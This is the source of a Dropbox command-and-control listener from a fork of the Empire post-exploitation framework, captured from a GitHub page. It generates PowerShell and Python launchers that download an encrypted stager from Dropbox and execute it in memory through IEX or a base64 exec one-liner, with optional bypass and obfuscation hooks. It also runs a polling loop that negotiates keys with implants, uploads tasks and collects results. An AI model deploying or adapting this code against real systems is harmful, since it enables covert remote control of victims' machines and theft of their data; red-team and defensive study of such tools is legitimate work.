forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 576
/
dbx.py
executable file
·1025 lines (885 loc) · 42.8 KB
/
dbx.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import base64
import copy
import logging
import os
import time
from textwrap import dedent
import dropbox
from empire.server.common import encryption, helpers, templating
from empire.server.common.empire import MainMenu
from empire.server.core.db import models
from empire.server.core.db.base import SessionLocal
from empire.server.utils import data_util, listener_util, log_util
from empire.server.utils.module_util import handle_validate_message
LOG_NAME_PREFIX = __name__
log = logging.getLogger(__name__)
class Listener:
def __init__(self, mainMenu: MainMenu):
self.info = {
"Name": "Dropbox",
"Authors": [
{
"Name": "Will Schroeder",
"Handle": "@harmj0y",
"Link": "https://twitter.com/harmj0y",
}
],
"Description": ("Starts a Dropbox listener."),
"Category": ("third_party"),
"Comments": [],
"Software": "",
"Techniques": [],
"Tactics": [],
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
"Name": {
"Description": "Name for the listener.",
"Required": True,
"Value": "dropbox",
},
"APIToken": {
"Description": "Authorization token for Dropbox API communication.",
"Required": True,
"Value": "",
},
"PollInterval": {
"Description": "Polling interval (in seconds) to communicate with the Dropbox Server.",
"Required": True,
"Value": "5",
},
"BaseFolder": {
"Description": "The base Dropbox folder to use for comms.",
"Required": True,
"Value": "/Empire/",
},
"StagingFolder": {
"Description": "The nested Dropbox staging folder.",
"Required": True,
"Value": "/staging/",
},
"TaskingsFolder": {
"Description": "The nested Dropbox taskings folder.",
"Required": True,
"Value": "/taskings/",
},
"ResultsFolder": {
"Description": "The nested Dropbox results folder.",
"Required": True,
"Value": "/results/",
},
"Launcher": {
"Description": "Launcher string.",
"Required": True,
"Value": "powershell -noP -sta -w 1 -enc ",
},
"StagingKey": {
"Description": "Staging key for initial agent negotiation.",
"Required": True,
"Value": "2c103f2c4ed1e59c0b4e2e01821770fa",
},
"DefaultDelay": {
"Description": "Agent delay/reach back interval (in seconds).",
"Required": True,
"Value": 60,
},
"DefaultJitter": {
"Description": "Jitter in agent reachback interval (0.0-1.0).",
"Required": True,
"Value": 0.0,
},
"DefaultLostLimit": {
"Description": "Number of missed checkins before exiting",
"Required": True,
"Value": 10,
},
"DefaultProfile": {
"Description": "Default communication profile for the agent.",
"Required": True,
"Value": "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
},
"KillDate": {
"Description": "Date for the listener to exit (MM/dd/yyyy).",
"Required": False,
"Value": "",
},
"WorkingHours": {
"Description": "Hours for the agent to operate (09:00-17:00).",
"Required": False,
"Value": "",
},
"SlackURL": {
"Description": "Your Slack Incoming Webhook URL to communicate with your Slack instance.",
"Required": False,
"Value": "",
},
}
# required:
self.mainMenu = mainMenu
self.thread = None
# optional/specific for this module
# set the default staging key to the controller db default
self.options["StagingKey"]["Value"] = str(
data_util.get_config("staging_key")[0]
)
self.instance_log = log
def default_response(self):
"""
Returns a default HTTP server page.
"""
return ""
def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
self.uris = [
a.strip("/")
for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
]
for key in self.options:
if self.options[key]["Required"] and (
str(self.options[key]["Value"]).strip() == ""
):
handle_validate_message(f'[!] Option "{key}" is required.')
return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
stagerRetries="0",
language=None,
safeChecks="",
listenerName=None,
bypasses: list[str] | None = None,
):
"""
Generate a basic launcher for the specified listener.
"""
bypasses = [] if bypasses is None else bypasses
if not language:
log.error("listeners/dbx generate_launcher(): no language specified!")
return None
active_listener = self
# extract the set options for this instantiated listener
listenerOptions = active_listener.options
# host = listenerOptions['Host']['Value']
staging_key = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
api_token = listenerOptions["APIToken"]["Value"]
baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
staging_folder = "/{}/{}".format(
baseFolder,
listenerOptions["StagingFolder"]["Value"].strip("/"),
)
if language.startswith("po"):
# PowerShell
# replace with stager = '' for troubleshooting
stager = '$ErrorActionPreference = "SilentlyContinue";'
if safeChecks.lower() == "true":
stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
for bypass in bypasses:
stager += bypass
stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
stager += "$wc=New-Object System.Net.WebClient;"
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
userAgent = profile.split("|")[1]
stager += f"$u='{ userAgent }';"
if userAgent.lower() != "none" or proxy.lower() != "none":
if userAgent.lower() != "none":
stager += "$wc.Headers.Add('User-Agent',$u);"
if proxy.lower() != "none":
if proxy.lower() == "default":
stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
else:
# TODO: implement form for other proxy
stager += f"""
$proxy=New-Object Net.WebProxy;
$proxy.Address = '{ proxy.lower() }';
$wc.Proxy = $proxy;
"""
if proxyCreds.lower() == "default":
stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(":")[0]
password = proxyCreds.split(":")[1]
domain = username.split("\\")[0]
usr = username.split("\\")[1]
stager += f"""
$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');
$wc.Proxy.Credentials = $netcred;
"""
# save the proxy settings to use during the entire staging process and the agent
stager += "$Script:Proxy = $wc.Proxy;"
# TODO: reimplement stager retries?
# code to turn the key string into a byte array
stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');"
# this is the minimized RC4 stager code from rc4.ps1
stager += listener_util.powershell_rc4()
stager += dedent(
f"""
# add in the Dropbox auth token and API params
$t='{ api_token }';
$wc.Headers.Add("Authorization","Bearer $t");
$wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\');
$data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download');
$iv=$data[0..3];$data=$data[4..$data.length];
# decode everything and kick it over to IEX to kick off execution
-join[Char[]](& $R $data ($IV+$K))|IEX
"""
)
# Remove comments and make one line
stager = helpers.strip_powershell_comments(stager)
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
(not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
# otherwise return the case-randomized stager
return stager
if language.startswith("py"):
launcherBase = "import sys;"
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;"
try:
if safeChecks.lower() == "true":
launcherBase += listener_util.python_safe_checks()
except Exception as e:
p = f"Error setting LittleSnitch in stager: {e!s}"
log.error(p)
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
userAgent = profile.split("|")[1]
launcherBase += dedent(
f"""
import urllib.request;
UA='{ userAgent }';
t='{ api_token }';
server='https://content.dropboxapi.com/2/files/download';
req=urllib.request.Request(server);
req.add_header('User-Agent',UA);
req.add_header("Authorization","Bearer "+t);
req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}');
"""
)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib.request.ProxyHandler();\n"
else:
proto = proxy.Split(":")[0]
launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib.request.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(":")[0]
password = proxyCreds.split(":")[1]
launcherBase += dedent(
f"""
proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }');
o = urllib.request.build_opener(proxy, proxy_auth_handler);
"""
)
else:
launcherBase += "o = urllib.request.build_opener(proxy);\n"
else:
launcherBase += "o = urllib.request.build_opener();\n"
# install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib.request.install_opener(o);\n"
launcherBase += "a=urllib.request.urlopen(req).read();\n"
# RC4 decryption
launcherBase += listener_util.python_extract_stager(staging_key)
if obfuscate:
launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
launcherBase
)
if encode:
launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
"UTF-8"
)
return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &"
return launcherBase
return None
def generate_stager(
self,
listenerOptions,
encode=False,
encrypt=True,
obfuscate=False,
obfuscation_command="",
language=None,
):
"""
Generate the stager code needed for communications with this listener.
"""
if not language:
log.error("listeners/dbx generate_stager(): no language specified!")
return None
pollInterval = listenerOptions["PollInterval"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
api_token = listenerOptions["APIToken"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
stagingFolder = "/{}/{}".format(
baseFolder,
listenerOptions["StagingFolder"]["Value"].strip("/"),
)
taskingsFolder = "/{}/{}".format(
baseFolder,
listenerOptions["TaskingsFolder"]["Value"].strip("/"),
)
resultsFolder = "/{}/{}".format(
baseFolder,
listenerOptions["ResultsFolder"]["Value"].strip("/"),
)
if language.lower() == "powershell":
template_path = [
os.path.join(self.mainMenu.installPath, "/data/agent/stagers"),
os.path.join(self.mainMenu.installPath, "./data/agent/stagers"),
]
eng = templating.TemplateEngine(template_path)
template = eng.get_template("dropbox/dropbox.ps1")
template_options = {
"api_token": api_token,
"tasking_folder": taskingsFolder,
"results_folder": resultsFolder,
"staging_folder": stagingFolder,
"poll_interval": pollInterval,
"working_hours": workingHours,
"kill_date": killDate,
"staging_key": stagingKey,
}
stager = template.render(template_options)
stager = listener_util.remove_lines_comments(stager)
if obfuscate:
stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode:
return helpers.enc_powershell(stager)
if encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(
RC4IV + stagingKey.encode("UTF-8"),
stager.encode("UTF-8"),
)
# otherwise just return the case-randomized stager
return stager
if language.lower() == "python":
template_path = [
os.path.join(self.mainMenu.installPath, "/data/agent/stagers"),
os.path.join(self.mainMenu.installPath, "./data/agent/stagers"),
]
eng = templating.TemplateEngine(template_path)
template = eng.get_template("dropbox/dropbox.py")
template_options = {
"api_token": api_token,
"tasking_folder": taskingsFolder,
"results_folder": resultsFolder,
"staging_folder": stagingFolder,
"poll_interval": pollInterval,
"working_hours": workingHours,
"staging_key": stagingKey,
"profile": profile,
}
stager = template.render(template_options)
if obfuscate:
stager = self.mainMenu.obfuscationv2.python_obfuscate(stager)
if encode:
return base64.b64encode(stager)
if encrypt:
# return an encrypted version of the stager ("normal" staging)
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(
RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8")
)
# otherwise return the standard stager
return stager
log.error(
"listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
return None
def generate_agent(
self,
listenerOptions,
language=None,
obfuscate=False,
obfuscation_command="",
version="",
):
"""
Generate the full agent code needed for communications with this listener.
"""
if not language:
log.error("listeners/dbx generate_agent(): no language specified!")
return None
language = language.lower()
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8"))
if language == "powershell":
with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f:
code = f.read()
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace("$AgentDelay = 60", "$AgentDelay = " + str(delay))
code = code.replace("$AgentJitter = 0", "$AgentJitter = " + str(jitter))
code = code.replace(
'$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
'$Profile = "' + str(profile) + '"',
)
code = code.replace("$LostLimit = 60", "$LostLimit = " + str(lostLimit))
code = code.replace(
'$DefaultResponse = ""',
'$DefaultResponse = "' + b64DefaultResponse.decode("UTF-8") + '"',
)
code = code.replace("REPLACE_COMMS", "")
if obfuscate:
code = self.mainMenu.obfuscationv2.obfuscate(
code,
obfuscation_command=obfuscation_command,
)
return code
if language == "python":
if version == "ironpython":
f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py"
else:
f = self.mainMenu.installPath + "/data/agent/agent.py"
with open(f) as f:
code = f.read()
# strip out comments and blank lines
code = helpers.strip_python_comments(code)
# patch some more
code = code.replace("delay = 60", f"delay = {delay}")
code = code.replace("jitter = 0.0", f"jitter = {jitter}")
code = code.replace(
'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
f'profile = "{profile}"',
)
code = code.replace("lostLimit = 60", f"lostLimit = {lostLimit}")
code = code.replace(
'defaultResponse = base64.b64decode("")',
'defaultResponse = base64.b64decode("{}")'.format(
b64DefaultResponse.decode("UTF-8")
),
)
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('killDate = ""', f'killDate = "{killDate}"')
if workingHours != "":
code = code.replace('workingHours = ""', f'workingHours = "{killDate}"')
code = code.replace("REPLACE_COMMS", "")
if obfuscate:
code = self.mainMenu.obfuscationv2.python_obfuscate(code)
return code
log.error(
"[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
return None
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
api_token = listenerOptions["APIToken"]["Value"]
taskingsFolder = "/{}/{}".format(
baseFolder,
listenerOptions["TaskingsFolder"]["Value"].strip("/"),
)
resultsFolder = "/{}/{}".format(
baseFolder,
listenerOptions["ResultsFolder"]["Value"].strip("/"),
)
if not language:
log.error("listeners/dbx generate_comms(): no language specified!")
return None
if language.lower() == "powershell":
template_path = [
os.path.join(self.mainMenu.installPath, "/data/agent/stagers"),
os.path.join(self.mainMenu.installPath, "./data/agent/stagers"),
]
eng = templating.TemplateEngine(template_path)
template = eng.get_template("dropbox/comms.ps1")
template_options = {
"api_token": api_token,
"tasking_folder": taskingsFolder,
"results_folder": resultsFolder,
}
return template.render(template_options)
if language.lower() == "python":
template_path = [
os.path.join(self.mainMenu.installPath, "/data/agent/stagers"),
os.path.join(self.mainMenu.installPath, "./data/agent/stagers"),
]
eng = templating.TemplateEngine(template_path)
template = eng.get_template("dropbox/comms.py")
template_options = {
"api_token": api_token,
"taskings_folder": taskingsFolder,
"results_folder": resultsFolder,
}
return template.render(template_options)
log.error(
"listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
return None
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up polling server for Dropbox
polling communication.
./Empire/
./staging/
stager.ps1
SESSION_[1-4].txt
./taskings/
SESSIONID.txt
./results/
SESSIONID.txt
/Empire/staging/stager.ps1 -> RC4staging(stager.ps1) uploaded by server
/Empire/staging/sessionID_1.txt -> AESstaging(PublicKey) uploaded by client
/Empire/staging/sessionID_2.txt -> RSA(nonce+AESsession) uploaded by server
/Empire/staging/sessionID_3.txt -> AESsession(nonce+sysinfo) uploaded by client
/Empire/staging/sessionID_4.txt -> AESsession(agent.ps1) uploaded by server
client dropbox server
<- upload /Empire/staging/stager.ps1
read /Empire/staging/stager ->
<- return stager
generate sessionID
upload /Empire/staging/sessionID_1.txt ->
<- read /Empire/staging/sessionID_1.txt
<- upload /Empire/staging/sessionID_2.txt
read /Empire/staging/sessionID_2.txt ->
<- /Empire/staging/sessionID_2.txt
upload /Empire/staging/sessionID_3.txt ->
<- read /Empire/staging/sessionID_3.txt
<- upload /Empire/staging/sessionID_4.txt
read /Empire/staging/sessionID_4.txt ->
<- /Empire/staging/sessionID_4.txt
<start beaconing>
<- upload /Empire/taskings/sessionID.txt
read /Empire/taskings/sessionID.txt ->
<- /Empire/taskings/sessionID.txt
delete /Empire/taskings/sessionID.txt ->
execute code
upload /Empire/results/sessionID.txt ->
<- read /Empire/results/sessionID.txt
<- delete /Empire/results/sessionID.txt
"""
self.instance_log = log_util.get_listener_logger(
LOG_NAME_PREFIX, self.options["Name"]["Value"]
)
def download_file(dbx, path):
# helper to download a file at the given path
try:
md, res = dbx.files_download(path)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
message = (
f"{listenerName}: Error downloading data from '{path}' : {err}"
)
self.instance_log.error(message, exc_info=True)
return None
return res.content
def upload_file(dbx, path, data):
# helper to upload a file to the given path
try:
dbx.files_upload(data, path)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error uploading data to '{path}'"
self.instance_log.error(message, exc_info=True)
def delete_file(dbx, path):
# helper to delete a file at the given path
try:
dbx.files_delete(path)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName} Error deleting data at '{path}'"
self.instance_log.error(message, exc_info=True)
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
stagingKey = listenerOptions["StagingKey"]["Value"]
pollInterval = listenerOptions["PollInterval"]["Value"]
api_token = listenerOptions["APIToken"]["Value"]
listenerName = listenerOptions["Name"]["Value"]
baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
stagingFolder = "/{}/{}".format(
baseFolder,
listenerOptions["StagingFolder"]["Value"].strip("/"),
)
taskingsFolder = "/{}/{}".format(
baseFolder,
listenerOptions["TaskingsFolder"]["Value"].strip("/"),
)
resultsFolder = "/{}/{}".format(
baseFolder,
listenerOptions["ResultsFolder"]["Value"].strip("/"),
)
dbx = dropbox.Dropbox(api_token)
# ensure that the access token supplied is valid
try:
dbx.users_get_current_account()
except dropbox.exceptions.AuthError:
log.error(
"ERROR: Invalid access token; try re-generating an access token from the app console on the web.",
exc_info=True,
)
return False
# setup the base folder structure we need
try:
dbx.files_create_folder(stagingFolder)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Dropbox folder '{stagingFolder}' already exists"
self.instance_log.info(message)
try:
dbx.files_create_folder(taskingsFolder)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = (
f"{listenerName}: Dropbox folder '{taskingsFolder}' already exists"
)
self.instance_log.info(message)
try:
dbx.files_create_folder(resultsFolder)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Dropbox folder '{resultsFolder}' already exists"
self.instance_log.info(message)
# upload the stager.ps1 code
stagerCodeps = self.generate_stager(
listenerOptions=listenerOptions, language="powershell"
)
stagerCodepy = self.generate_stager(
listenerOptions=listenerOptions, language="python"
)
try:
# delete stager if it exists
delete_file(dbx, f"{stagingFolder}/debugps")
delete_file(dbx, f"{stagingFolder}/debugpy")
dbx.files_upload(stagerCodeps, f"{stagingFolder}/debugps")
dbx.files_upload(stagerCodepy, f"{stagingFolder}/debugpy")
except dropbox.exceptions.ApiError:
message = (
f"{listenerName}: Error uploading stager to '{stagingFolder}/stager'"
)
self.instance_log.error(message, exc_info=True)
return None
while True:
time.sleep(int(pollInterval))
# search for anything in /Empire/staging/*
for match in dbx.files_search(stagingFolder, "*.txt").matches:
fileName = str(match.metadata.path_display)
relName = fileName.split("/")[-1][:-4]
sessionID, stage = relName.split("_")
sessionID = sessionID.upper()
if "_" in relName:
if stage == "1":
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error downloading data from '{fileName}' : {err}"
self.instance_log.error(message, exc_info=True)
continue
stageData = res.content
dataResults = self.mainMenu.agents.handle_agent_data(
stagingKey, stageData, listenerOptions
)
if dataResults and len(dataResults) > 0:
for _language, results in dataResults:
# TODO: more error checking
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error deleting data at '{fileName}'"
self.instance_log.error(message, exc_info=True)
try:
stageName = f"{stagingFolder}/{sessionID}_2.txt"
listenerName = self.options["Name"]["Value"]
message = f"Uploading key negotiation part 2 to {stageName} for {sessionID}"
self.instance_log.info(message)
log.info(message)
dbx.files_upload(results, stageName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error uploading data to '{stageName}'"
self.instance_log.error(message, exc_info=True)
if stage == "3":
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error downloading data from '{fileName}' : {err}"
self.instance_log.error(message, exc_info=True)
continue
stageData = res.content
dataResults = self.mainMenu.agents.handle_agent_data(
stagingKey, stageData, listenerOptions
)
if dataResults and len(dataResults) > 0:
# print "dataResults:",dataResults
for language, results in dataResults:
if results.startswith("STAGE2"):
sessionKey = self.mainMenu.agents.agents[sessionID][
"sessionKey"
]
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Sending agent (stage 2) to {sessionID} through Dropbox"
self.instance_log.info(message)
log.info(message)
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error deleting data at '{fileName}'"
self.instance_log.error(message, exc_info=True)
try:
fileName2 = fileName.replace(
f"{sessionID}_3.txt",
f"{sessionID}_2.txt",
)
dbx.files_delete(fileName2)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error deleting data at '{fileName2}'"
self.instance_log.error(message, exc_info=True)
session_info = (
SessionLocal()
.query(models.Agent)
.filter(models.Agent.session_id == sessionID)
.first()
)
if session_info.language == "ironpython":
version = "ironpython"
else:
version = ""
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
agentCode = self.generate_agent(
language=language,
listenerOptions=listenerOptions,
version=version,
)
if language.lower() in ["python", "ironpython"]:
sessionKey = bytes.fromhex(sessionKey)
returnResults = encryption.aes_encrypt_then_hmac(
sessionKey, agentCode
)
try:
stageName = f"{stagingFolder}/{sessionID}_4.txt"
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Uploading key negotiation part 4 (agent) to {stageName} for {sessionID}"
self.instance_log.info(message)
log.info(message)
dbx.files_upload(returnResults, stageName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Error uploading data to '{stageName}'"
self.instance_log.error(message, exc_info=True)
# get any taskings applicable for agents linked to this listener
sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName)
for sessionID in sessionIDs:
taskingData = self.mainMenu.agents.handle_agent_request(
sessionID, "powershell", stagingKey
)
if taskingData:
try:
taskingFile = f"{taskingsFolder}/{sessionID}.txt"
# if the tasking file still exists, download/append + upload again
existingData = None
try:
md, res = dbx.files_download(taskingFile)
existingData = res.content
except Exception:
existingData = None
if existingData:
taskingData = taskingData + existingData
listenerName = self.options["Name"]["Value"]
message = f"{listenerName}: Uploading agent tasks for {sessionID} to {taskingFile}"
self.instance_log.info(message)
dbx.files_upload(
taskingData,
taskingFile,
mode=dropbox.files.WriteMode.overwrite,
)
except dropbox.exceptions.ApiError as e:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName} Error uploading agent tasks for {sessionID} to {taskingFile} : {e}"
self.instance_log.error(message, exc_info=True)
log.error(message, exc_info=True)
# check for any results returned
for match in dbx.files_search(resultsFolder, "*.txt").matches:
fileName = str(match.metadata.path_display)
sessionID = fileName.split("/")[-1][:-4]
listenerName = self.options["Name"]["Value"]
message = (
f"{listenerName} Downloading data for '{sessionID}' from {fileName}"
)
self.instance_log.info(message)
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
message = (
f"{listenerName}: Error download data from '{fileName}' : {err}"
)
self.instance_log.error(message, exc_info=True)
log.error(message, exc_info=True)
continue
responseData = res.content
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
message = f"{listenerName} Error deleting data at '{fileName}'"
self.instance_log.error(message, exc_info=True)
log.error(message, exc_info=True)